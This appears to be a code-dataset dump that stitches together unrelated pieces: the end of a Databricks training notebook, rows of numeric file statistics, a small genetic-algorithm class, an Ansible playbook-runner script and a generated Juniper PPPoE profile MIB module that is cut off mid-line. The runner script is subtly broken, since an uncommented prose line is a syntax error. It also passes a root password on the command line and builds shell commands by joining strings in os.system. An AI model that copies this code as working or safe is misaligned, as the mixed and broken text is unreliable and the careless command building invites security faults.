href="https://docs.databricks.com/dev-tools/cli/secrets-cli.html#secrets-cli" target="_blank">AWS</a> and <a href="https://docs.microsoft.com/en-us/azure/databricks/security/credential-passthrough/adls-passthrough" target="_blank">Azure</a> # COMMAND ---------- # MAGIC %md ## Cluster Configuration, Libraries, and Jobs # MAGIC # MAGIC Cluster types are:<br><br> # MAGIC # MAGIC - Memory optimized (with or without <a href="https://docs.databricks.com/delta/optimizations/delta-cache.html" target="_blank">Delta Cache Acceleration</a> # MAGIC - Compute optimized # MAGIC - Storage optimized # MAGIC - GPU accelerated # MAGIC - General Purpose # MAGIC # MAGIC General rules of thumb:<br><br> # MAGIC # MAGIC - Smaller clusters of larger machine types for machine learning # MAGIC - One cluster per production workload # MAGIC - Don't share clusters for ML training (even in development) # MAGIC - <a href="https://docs.databricks.com/clusters/configure.html" target="_blank">See the docs for more specifics</a> # COMMAND ---------- # MAGIC %md Library installation best practices:<br><br> # MAGIC # MAGIC - <a href="https://docs.databricks.com/libraries/notebooks-python-libraries.html" target="_blank">Notebook-scoped Python libraries</a> ensure users on same cluster can have different libraries. Also good for saving notebooks with their library dependencies # MAGIC - <a href="https://docs.databricks.com/clusters/init-scripts.html" target="_blank">Init scripts</a> ensure that code is ran before the JVM starts (good for certain libraries or environment configuration) # MAGIC - Some configuration variables need to be set on cluster start # COMMAND ---------- # MAGIC %md Jobs best practices:<br><br> # MAGIC # MAGIC - Use <a href="https://docs.databricks.com/notebooks/notebook-workflows.html" target="_blank">notebook workflows</a> # MAGIC - <a href="https://docs.databricks.com/notebooks/widgets.html" target="_blank">Widgets</a> work for parameter passing # MAGIC - You can also run jars and wheels # MAGIC - Use the CLI for orchestration tools (e.g. Airflow) # MAGIC - <a href="https://docs.databricks.com/jobs.html" target="_blank">See the docs for more specifics</a> # MAGIC - Always specify a timeout interval to prevent infinitely running jobs # COMMAND ---------- # MAGIC %md ## CLI and Version Control # MAGIC # MAGIC The <a href="https://github.com/databricks/databricks-cli" target="_blank">Databricks CLI</a>:<br><br> # MAGIC # MAGIC * Programmatically export out all your notebooks to check into github # MAGIC * Can also import/export data, execute jobs, create clusters, and perform most other Workspace tasks # MAGIC # MAGIC Git integration can be accomplished in a few ways:<br><br> # MAGIC # MAGIC * Use the CLI to import/export notebooks and check into git manually # MAGIC * <a href="https://docs.databricks.com/notebooks/github-version-control.html" target="_blank">Use the built-in git integration</a> # MAGIC * <a href="https://www.youtube.com/watch?v=HsfMmBfQtvI" target="_blank">Use the next generation workspace for alternative project integration</a> # COMMAND ---------- # MAGIC %md Time permitting: exploring the <a href="https://docs.databricks.com/administration-guide/index.html" target="_blank">admin console!</a> # COMMAND ---------- # MAGIC %md-sandbox # MAGIC &copy; 2022 Databricks, Inc. All rights reserved.<br/> # MAGIC Apache, Apache Spark, Spark and the Spark logo are trademarks of the <a href="https://www.apache.org/">Apache Software Foundation</a>.<br/> # MAGIC <br/> # MAGIC <a href="https://databricks.com/privacy-policy">Privacy Policy</a> | <a href="https://databricks.com/terms-of-use">Terms of Use</a> | <a href="https://help.databricks.com/">Support</a>
58.276786
285
0.739084
952
6,527
5.04937
0.347689
0.039526
0.039526
0.037861
0.157895
0.133763
0.114208
0.100062
0.064905
0.064905
0
0.003901
0.13605
6,527
111
286
58.801802
0.848555
0.966447
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
142f59eba57db6c8a43c3551e03b755bd4ddd2c6
288
py
Python
pyords/genetic_algorithm/environments.py
cnpls/pyords
249591e96031cb2c49045a9984fd9c5f50ef757d
[ "MIT" ]
null
null
null
pyords/genetic_algorithm/environments.py
cnpls/pyords
249591e96031cb2c49045a9984fd9c5f50ef757d
[ "MIT" ]
null
null
null
pyords/genetic_algorithm/environments.py
cnpls/pyords
249591e96031cb2c49045a9984fd9c5f50ef757d
[ "MIT" ]
null
null
null
class BasicEnvironment: """Object to pass containing data used for solve. Individuals are mapped to this data upon evaluation. Environments also hold additional evaluation data.""" def __init__(self, df, _dict=None): self.df = df self._dict = _dict
36
79
0.677083
36
288
5.222222
0.722222
0.06383
0
0
0
0
0
0
0
0
0
0
0.253472
288
7
80
41.142857
0.874419
0.520833
0
0
0
0
0
0
0
0
0
0
0
1
0.25
false
0
0
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
2
143a11a1b3daa721a9367d9e2bf6c12757c3f0c1
4,776
py
Python
Python_lib/task_before/run_palybooks.py
mndarren/CPP-Lib
d821e5468d7c76f5a28db28b12670d6a7bce7360
[ "Apache-2.0" ]
5
2017-10-25T15:34:37.000Z
2020-06-28T17:58:55.000Z
Python_lib/task_before/run_palybooks.py
mndarren/CPP-Lib
d821e5468d7c76f5a28db28b12670d6a7bce7360
[ "Apache-2.0" ]
null
null
null
Python_lib/task_before/run_palybooks.py
mndarren/CPP-Lib
d821e5468d7c76f5a28db28b12670d6a7bce7360
[ "Apache-2.0" ]
4
2018-05-19T20:43:31.000Z
2020-06-28T17:09:16.000Z
#!/usr/bin/python ''' This is a tool for run multiple playbooks, Command like: python run_playbooks.py --password xxx --target_host xxx --hostname xxx --bitbucket_user xxx --playbooks playbook1,playbook2,playbook1 Note: playbooks need to be separated by ',' ''' import os, sys import re import optparse import getpass from collections import namedtuple from ansible.parsing.dataloader import DataLoader from ansible.vars import VariableManager from ansible.inventory import Inventory from ansible.playbook import Playbook from ansible.executor.playbook_executor import PlaybookExecutor def get_args(): parser = optparse.OptionParser("usage: %prog [--password] [--target_host]" + "[--hostname] [--bitbucket_user] [--playbooks]") parser.add_option("--password", dest="password", type="string", help="password for root") parser.add_option("--target_host", dest="target_host", type="string", help="target machine ip address") parser.add_option("--hostname", dest="hostname", type="string", help="hostname for mint") parser.add_option("--bitbucket_user", dest="bitbucket_user", type="string", help="bitbucket user") parser.add_option("--playbooks", dest="playbooks", type="string", help="playbooks to be pulled") return parser.parse_args() def process_playbooks(playbooks_to_run, bitbucket_user, target_ip, hostname, ansible_ssh_pass): playbooks = set(playbooks_to_run) bitbucket = "https://" + bitbucket_user + "@stash.veritas.com/scm/iac/" ansible_user = "root" directory = "/home/" + getpass.getuser() + '/runPlaybooks' + str(os.getpid()) inventory = "jenkins.inv" run_command = "ansible-playbook -i " + inventory + " local.yml" pull_command = "ansible-galaxy install -r requirements.yml" clone_command = "git clone " pattern_mint = "playbook-mint" prog = re.compile(pattern_mint) create a folder to run multiple playbooks try: os.system("mkdir " + directory) os.chdir(directory) except Exception as e: raise Exception("Failed to create diretory: %s" % str(e)) sys.exit() # pull playbooks try: for play in playbooks: clone_playbook = bitbucket + play + ".git" os.system(clone_command + clone_playbook) except Exception as e: raise Exception("Failed to clone playbooks: %s" % str(e)) sys.exit() # pull roles for playbooks try: for play in playbooks: os.chdir(play) print("in dir: " + play) os.system(pull_command) os.chdir(directory) except Exception as e: raise Exception("Failed to pull roles: %s" % str(e)) sys.exit() # invertory and run playbooks Options = namedtuple('Options', ['connection', 'forks', 'become', 'become_method', 'become_user', 'check', 'listhosts', 'listtasks', 'listtags', 'syntax', 'module_path']) variable_manager = VariableManager() loader = DataLoader() options = Options(connection='local', forks=100, become=None, become_method=None, become_user=None, check=False, listhosts=False, listtasks=False, listtags=False, syntax=False, module_path="") passwords = ansible_ssh_pass #dict(vault_pass='secret') inventory = Inventory(loader=loader, variable_manager=variable_manager, host_list=target_ip)#'localhost') variable_manager.set_inventory(inventory) playbooks = playbooks_to_run #["./test.yaml"] executor = PlaybookExecutor( playbooks=playbooks, inventory=inventory, variable_manager=variable_manager, loader=loader, options=options, passwords=passwords) executor.run() # # create inventory file # try: # for play in playbooks: # os.chdir(play) # file = open(inventory, "w+") # file.write(target_ip + " ansible_user=" + ansible_user + " ansible_ssh_pass=" + ansible_ssh_pass) # if prog.search(play): # file.write(" hostname=" + hostname) # os.chdir(directory) # file.close() # except Exception as e: # raise Exception("Failed to create inventory file: %s" % str(e)) # sys.exit() # # # run playbooks # try: # for play in playbooks_to_run: # os.chdir(play) # os.system(run_command) # os.chdir(directory) # except Exception as e: # raise Exception("Failed to run playbooks: %s" % str(e)) # sys.exit() def main(): options, args = get_args() playbooks_to_run = re.split(',', options.playbooks) bitbucket_user = options.bitbucket_user target_ip = options.target_host hostname = options.hostname ansible_ssh_pass = options.password process_playbooks(playbooks_to_run, bitbucket_user, target_ip, hostname, ansible_ssh_pass) if __name__ == '__main__': main()
36.738462
108
0.677764
577
4,776
5.45234
0.270364
0.041322
0.026701
0.028608
0.203115
0.195486
0.153846
0.153846
0.120788
0.104259
0
0.001567
0.198074
4,776
129
109
37.023256
0.819843
0.174414
0
0.160494
0
0
0.191088
0.007381
0
0
0
0
0
0
null
null
0.111111
0.123457
null
null
0.012346
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
145a5bd5c5cfb4ca091237a3f8cad31e5a53bff8
23,876
py
Python
pysnmp-with-texts/Juniper-PPPOE-PROFILE-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
8
2019-05-09T17:04:00.000Z
2021-06-09T06:50:51.000Z
pysnmp-with-texts/Juniper-PPPOE-PROFILE-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
4
2019-05-31T16:42:59.000Z
2020-01-31T21:57:17.000Z
pysnmp-with-texts/Juniper-PPPOE-PROFILE-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
10
2019-04-30T05:51:36.000Z
2022-02-16T03:33:41.000Z
# # PySNMP MIB module Juniper-PPPOE-PROFILE-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/Juniper-PPPOE-PROFILE-MIB # Produced by pysmi-0.3.4 at Wed May 1 14:03:50 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # Integer, OctetString, ObjectIdentifier = mibBuilder.importSymbols("ASN1", "Integer", "OctetString", "ObjectIdentifier") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ConstraintsUnion, SingleValueConstraint, ValueSizeConstraint, ValueRangeConstraint, ConstraintsIntersection = mibBuilder.importSymbols("ASN1-REFINEMENT", "ConstraintsUnion", "SingleValueConstraint", "ValueSizeConstraint", "ValueRangeConstraint", "ConstraintsIntersection") juniMibs, = mibBuilder.importSymbols("Juniper-MIBs", "juniMibs") JuniEnable, JuniSetMap = mibBuilder.importSymbols("Juniper-TC", "JuniEnable", "JuniSetMap") ObjectGroup, ModuleCompliance, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ObjectGroup", "ModuleCompliance", "NotificationGroup") IpAddress, ModuleIdentity, MibIdentifier, Integer32, Gauge32, iso, Counter32, TimeTicks, Unsigned32, Counter64, NotificationType, ObjectIdentity, Bits, MibScalar, MibTable, MibTableRow, MibTableColumn = mibBuilder.importSymbols("SNMPv2-SMI", "IpAddress", "ModuleIdentity", "MibIdentifier", "Integer32", "Gauge32", "iso", "Counter32", "TimeTicks", "Unsigned32", "Counter64", "NotificationType", "ObjectIdentity", "Bits", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn") TextualConvention, DisplayString = mibBuilder.importSymbols("SNMPv2-TC", "TextualConvention", "DisplayString") juniPppoeProfileMIB = ModuleIdentity((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46)) juniPppoeProfileMIB.setRevisions(('2008-06-18 10:29', '2005-07-13 11:40', '2004-06-10 19:25', '2003-03-11 21:58', '2002-09-16 21:44', '2002-08-15 20:34', '2002-08-15 19:07', '2001-03-21 18:32',)) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): if mibBuilder.loadTexts: juniPppoeProfileMIB.setRevisionsDescriptions(('Added juniPppoeProfileMaxSessionOverride object.', 'Added MTU control object.', 'Added Remote Circuit Id Capture object.', 'Added Service Name Table object.', 'Replaced Unisphere names with Juniper names.', 'Added PADI flag and packet trace support.', 'Added duplicate MAC address indicator and AC-NAME tag objects.', 'Initial version of this MIB module.',)) if mibBuilder.loadTexts: juniPppoeProfileMIB.setLastUpdated('200806181029Z') if mibBuilder.loadTexts: juniPppoeProfileMIB.setOrganization('Juniper Networks, Inc.') if mibBuilder.loadTexts: juniPppoeProfileMIB.setContactInfo(' Juniper Networks, Inc. Postal: 10 Technology Park Drive Westford, MA 01886-3146 USA Tel: +1 978 589 5800 Email: mib@Juniper.net') if mibBuilder.loadTexts: juniPppoeProfileMIB.setDescription('The point-to-point protocol over Ethernet (PPPoE) profile MIB for the Juniper enterprise.') juniPppoeProfileObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 1)) juniPppoeProfile = MibIdentifier((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 1, 1)) juniPppoeProfileTable = MibTable((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 1, 1, 1), ) if mibBuilder.loadTexts: juniPppoeProfileTable.setStatus('current') if mibBuilder.loadTexts: juniPppoeProfileTable.setDescription('This table contains profiles for configuring PPPoE interfaces/sessions. Entries in this table are created/deleted as a side-effect of corresponding operations to the juniProfileNameTable in the Juniper-PROFILE-MIB.') juniPppoeProfileEntry = MibTableRow((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 1, 1, 1, 1), ).setIndexNames((0, "Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileId")) if mibBuilder.loadTexts: juniPppoeProfileEntry.setStatus('current') if mibBuilder.loadTexts: juniPppoeProfileEntry.setDescription('A profile describing configuration of a PPPoE interface and its subinterfaces (sessions).') juniPppoeProfileId = MibTableColumn((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 1, 1, 1, 1, 1), Unsigned32()) if mibBuilder.loadTexts: juniPppoeProfileId.setStatus('current') if mibBuilder.loadTexts: juniPppoeProfileId.setDescription('The integer identifier associated with this profile. A value for this identifier is determined by locating or creating a profile name in the juniProfileNameTable.') juniPppoeProfileSetMap = MibTableColumn((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 1, 1, 1, 1, 2), JuniSetMap()).setMaxAccess("readwrite") if mibBuilder.loadTexts: juniPppoeProfileSetMap.setStatus('current') if mibBuilder.loadTexts: juniPppoeProfileSetMap.setDescription("A bitmap representing which objects in this entry have been explicitly configured. See the definition of the JuniSetMap TEXTUAL-CONVENTION for details of use. The INDEX object(s) and this object are excluded from representation (i.e. their bits are never set). When a SET request does not explicitly configure JuniSetMap, bits in JuniSetMap are set as a side-effect of configuring other profile attributes in the same entry. If, however, a SET request explicitly configures JuniSetMap, the explicitly configured value overrides 1) any previous bit settings, and 2) any simultaneous 'side-effect' settings that would otherwise occur. Once set, bits can only be cleared by explicitly configuring JuniSetMap.") juniPppoeProfileMaxNumSessions = MibTableColumn((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 1, 1, 1, 1, 3), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 65535))).setMaxAccess("readwrite") if mibBuilder.loadTexts: juniPppoeProfileMaxNumSessions.setStatus('current') if mibBuilder.loadTexts: juniPppoeProfileMaxNumSessions.setDescription('The maximum number of PPPoE sessions (subinterfaces) that can be configured on the main PPPoE interface created using this profile. A value of zero indicates no bound is configured.') juniPppoeProfileSubMotm = MibTableColumn((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 1, 1, 1, 1, 4), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0, 127))).setMaxAccess("readwrite") if mibBuilder.loadTexts: juniPppoeProfileSubMotm.setStatus('current') if mibBuilder.loadTexts: juniPppoeProfileSubMotm.setDescription('A message to send via a PADM on the sub-interface when this profile is applied to the IP interface above this PPPoE sub- interface. A client may choose to display this message to the user.') juniPppoeProfileSubUrl = MibTableColumn((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 1, 1, 1, 1, 5), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0, 127))).setMaxAccess("readwrite") if mibBuilder.loadTexts: juniPppoeProfileSubUrl.setStatus('current') if mibBuilder.loadTexts: juniPppoeProfileSubUrl.setDescription('A URL to be sent via a PADM on the sub-interface when this profile is applied to the IP interface above this PPPoE sub-interface. The string entered here can have several substitutions applied: %D is replaced with the profile name %d is replaced with the domain name %u is replaced with the user name %U is replaced with the user/domain name together %% is replaced with the % character The resulting string must not be greater than 127 octets long. The client may use this URL as the initial web-page for the user.') juniPppoeProfileDupProtect = MibTableColumn((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 1, 1, 1, 1, 6), JuniEnable().clone('disable')).setMaxAccess("readwrite") if mibBuilder.loadTexts: juniPppoeProfileDupProtect.setStatus('current') if mibBuilder.loadTexts: juniPppoeProfileDupProtect.setDescription('Flag to control whether duplicate MAC addresses are allowed') juniPppoeProfileAcName = MibTableColumn((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 1, 1, 1, 1, 7), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0, 64))).setMaxAccess("readwrite") if mibBuilder.loadTexts: juniPppoeProfileAcName.setStatus('current') if mibBuilder.loadTexts: juniPppoeProfileAcName.setDescription('The name to use for the AC-NAME tag that is sent in any PADO that is sent on this interface.') juniPppoeProfilePadiFlag = MibTableColumn((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 1, 1, 1, 1, 8), JuniEnable().clone('disable')).setMaxAccess("readwrite") if mibBuilder.loadTexts: juniPppoeProfilePadiFlag.setStatus('current') if mibBuilder.loadTexts: juniPppoeProfilePadiFlag.setDescription('The PPPoE major interface parameter PADI flag controls whether to always repsond to a PADI with a PADO regardless of the ability to create the session and allow the session establish phase to resolve it.') juniPppoeProfilePacketTrace = MibTableColumn((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 1, 1, 1, 1, 9), JuniEnable().clone('disable')).setMaxAccess("readwrite") if mibBuilder.loadTexts: juniPppoeProfilePacketTrace.setStatus('current') if mibBuilder.loadTexts: juniPppoeProfilePacketTrace.setDescription('The PPPoE major interface parameter packet tracing flag controls whether packet tracing is enable or not.') juniPppoeProfileServiceNameTableName = MibTableColumn((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 1, 1, 1, 1, 10), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0, 31))).setMaxAccess("readwrite") if mibBuilder.loadTexts: juniPppoeProfileServiceNameTableName.setStatus('current') if mibBuilder.loadTexts: juniPppoeProfileServiceNameTableName.setDescription('The PPPoE Service name table controls behavior of PADO control packets.') juniPppoeProfilePadrRemoteCircuitIdCapture = MibTableColumn((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 1, 1, 1, 1, 11), JuniEnable().clone('disable')).setMaxAccess("readwrite") if mibBuilder.loadTexts: juniPppoeProfilePadrRemoteCircuitIdCapture.setStatus('current') if mibBuilder.loadTexts: juniPppoeProfilePadrRemoteCircuitIdCapture.setDescription('The PPPoE major interface parameter PADR remote circuit id capture flag controls whether the remote circuit id string possibly contained in the PADR packet will be saved and used by AAA to replace the NAS-PORT-ID field.') juniPppoeProfileMtu = MibTableColumn((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 1, 1, 1, 1, 12), Integer32().subtype(subtypeSpec=ConstraintsUnion(ValueRangeConstraint(1, 1), ValueRangeConstraint(2, 2), ValueRangeConstraint(66, 65535), )).clone(1494)).setMaxAccess("readwrite") if mibBuilder.loadTexts: juniPppoeProfileMtu.setStatus('current') if mibBuilder.loadTexts: juniPppoeProfileMtu.setDescription('The initial Maximum Transmit Unit (MTU) that the PPPoE major interface entity will advertise to the remote entity. If the value of this variable is 1 then the local PPPoE entity will use an MTU value determined by its underlying media interface. If the value of this variable is 2 then the local PPPoE entity will use a value determined by the PPPoE Max-Mtu-Tag transmitted from the client in the PADR packet. If no Max-Mtu-Tag is received, the value defaults to a maximum of 1494. The operational MTU is limited by the MTU of the underlying media interface minus the PPPoE frame overhead.') juniPppoeProfileMaxSessionOverride = MibTableColumn((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 1, 1, 1, 1, 13), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("override", 1), ("ignore", 2))).clone('ignore')).setMaxAccess("readwrite") if mibBuilder.loadTexts: juniPppoeProfileMaxSessionOverride.setStatus('current') if mibBuilder.loadTexts: juniPppoeProfileMaxSessionOverride.setDescription('Configure the action to be taken by PPPoE when RADIUS server returns the PPPoE max-session value: override Override the current PPPoE max-session value with the value returned by RADIUS server Ignore Ignore the max-session value returned by RADIUS server') juniPppoeProfileConformance = MibIdentifier((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 4)) juniPppoeProfileCompliances = MibIdentifier((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 4, 1)) juniPppoeProfileGroups = MibIdentifier((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 4, 2)) juniPppoeProfileCompliance = ModuleCompliance((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 4, 1, 1)).setObjects(("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileGroup")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): juniPppoeProfileCompliance = juniPppoeProfileCompliance.setStatus('obsolete') if mibBuilder.loadTexts: juniPppoeProfileCompliance.setDescription('Obsolete compliance statement for entities which implement the Juniper PPPoE Profile MIB. This statement became obsolete when the duplicate MAC address indicator and AC-NAME tag were added.') juniPppoeCompliance2 = ModuleCompliance((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 4, 1, 2)).setObjects(("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileGroup2")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): juniPppoeCompliance2 = juniPppoeCompliance2.setStatus('obsolete') if mibBuilder.loadTexts: juniPppoeCompliance2.setDescription('Obsolete compliance statement for entities which implement the Juniper PPPoE profile MIB. This statement became obsolete when PADI flag, AC-name and packet trace objects were added.') juniPppoeCompliance3 = ModuleCompliance((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 4, 1, 3)).setObjects(("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileGroup3")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): juniPppoeCompliance3 = juniPppoeCompliance3.setStatus('obsolete') if mibBuilder.loadTexts: juniPppoeCompliance3.setDescription('Obsolete compliance statement for entities which implement the Juniper PPPoE profile MIB. This statement became obsolete when the service name table was added.') juniPppoeCompliance4 = ModuleCompliance((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 4, 1, 4)).setObjects(("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileGroup4")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): juniPppoeCompliance4 = juniPppoeCompliance4.setStatus('obsolete') if mibBuilder.loadTexts: juniPppoeCompliance4.setDescription('Obsolete compliance statement for entities which implement the Juniper PPPoE profile MIB. This statement became obsolete when the remote circuit id capture was added.') juniPppoeCompliance5 = ModuleCompliance((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 4, 1, 5)).setObjects(("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileGroup5")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): juniPppoeCompliance5 = juniPppoeCompliance5.setStatus('obsolete') if mibBuilder.loadTexts: juniPppoeCompliance5.setDescription('Obsolete compliance statement for entities which implement the Juniper PPPoE MIB. This statement became obsolete when support was added for MTU configuration.') juniPppoeCompliance6 = ModuleCompliance((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 4, 1, 6)).setObjects(("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileGroup6")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): juniPppoeCompliance6 = juniPppoeCompliance6.setStatus('obsolete') if mibBuilder.loadTexts: juniPppoeCompliance6.setDescription('Obsolete compliance statement for entities which implement the Juniper PPPoE MIB. This statement became obsolete when support was added for juniPppoeProfileMaxSessionOverride.') juniPppoeCompliance7 = ModuleCompliance((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 4, 1, 7)).setObjects(("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileGroup7")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): juniPppoeCompliance7 = juniPppoeCompliance7.setStatus('current') if mibBuilder.loadTexts: juniPppoeCompliance7.setDescription('The compliance statement for entities which implement the Juniper PPPoE Profile MIB.') juniPppoeProfileGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 4, 2, 1)).setObjects(("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileSetMap"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileMaxNumSessions"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileSubMotm"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileSubUrl")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): juniPppoeProfileGroup = juniPppoeProfileGroup.setStatus('obsolete') if mibBuilder.loadTexts: juniPppoeProfileGroup.setDescription('Obsolete collection of objects providing management of profile functionality for PPPoE interfaces in a Juniper product. This group became obsolete when the duplicate MAC address indicator and AC-NAME tag objects were added.') juniPppoeProfileGroup2 = ObjectGroup((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 4, 2, 2)).setObjects(("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileSetMap"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileMaxNumSessions"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileSubMotm"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileSubUrl"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileDupProtect"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileAcName")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): juniPppoeProfileGroup2 = juniPppoeProfileGroup2.setStatus('obsolete') if mibBuilder.loadTexts: juniPppoeProfileGroup2.setDescription('Obsolete collection of objects providing management of profile functionality for PPPOE interfaces in a Juniper product. This group became obsolete when PADI flag, AC-name and packet trace objects were added.') juniPppoeProfileGroup3 = ObjectGroup((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 4, 2, 3)).setObjects(("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileSetMap"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileMaxNumSessions"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileSubMotm"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileSubUrl"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileDupProtect"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileAcName"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfilePadiFlag"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfilePacketTrace")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): juniPppoeProfileGroup3 = juniPppoeProfileGroup3.setStatus('obsolete') if mibBuilder.loadTexts: juniPppoeProfileGroup3.setDescription('A collection of objects providing management of profile functionality for PPPOE interfaces in a Juniper product.') juniPppoeProfileGroup4 = ObjectGroup((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 4, 2, 4)).setObjects(("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileSetMap"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileMaxNumSessions"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileSubMotm"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileSubUrl"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileDupProtect"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileAcName"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfilePadiFlag"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfilePacketTrace"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileServiceNameTableName")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): juniPppoeProfileGroup4 = juniPppoeProfileGroup4.setStatus('obsolete') if mibBuilder.loadTexts: juniPppoeProfileGroup4.setDescription('A collection of objects providing management of profile functionality for PPPOE interfaces in a Juniper product.') juniPppoeProfileGroup5 = ObjectGroup((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 4, 2, 5)).setObjects(("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileSetMap"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileMaxNumSessions"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileSubMotm"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileSubUrl"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileDupProtect"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileAcName"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfilePadiFlag"), 